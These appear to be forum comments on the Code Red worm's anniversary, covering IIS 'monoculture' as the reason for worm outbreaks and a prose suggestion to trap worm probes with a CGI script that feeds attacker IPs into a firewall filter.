- Microsoft writes lousy code (they're not great, but I don't believe they suck more than other httpd authors)
- Windows security is dreadful (Win95/98 is fairly bad, but I don't think NT is *that* horrific)
- The large installed base (Apache has kind of a big base)
- Microsoft has bad kharma
I believe the real reason is the *homogeneity* of IIS and the Win32 platform. Virus and worm authors have a predictable environment for which to code. Biologists would refer to this as a monoculture. Monocultures are notoriously prone to being taken down -- witness the Irish potato famine.
Apache runs on far too many disparate platforms for a single exploit to "catch fire".
That's why I like an internet with many different OSes, machine architectures, http servers, etc. A diverse ecosystem is good for all!
Apache
...that I share a birthday with Code Red? :-)
Don't these virus authors do it for the fame and attention? Why feed an ego with an "anniversary story"?
Why make it difficult? Make a script in your favourite language; shell, perl, whatever, and name it 'default.ida' or 'root.exe' and plant it properly. The script, when called by Apache as a CGI, will have the IP address as an env variable. Use that to update your filter of choice appropriately.
Vintage computer games and RPG books available. Email me if you're interested.
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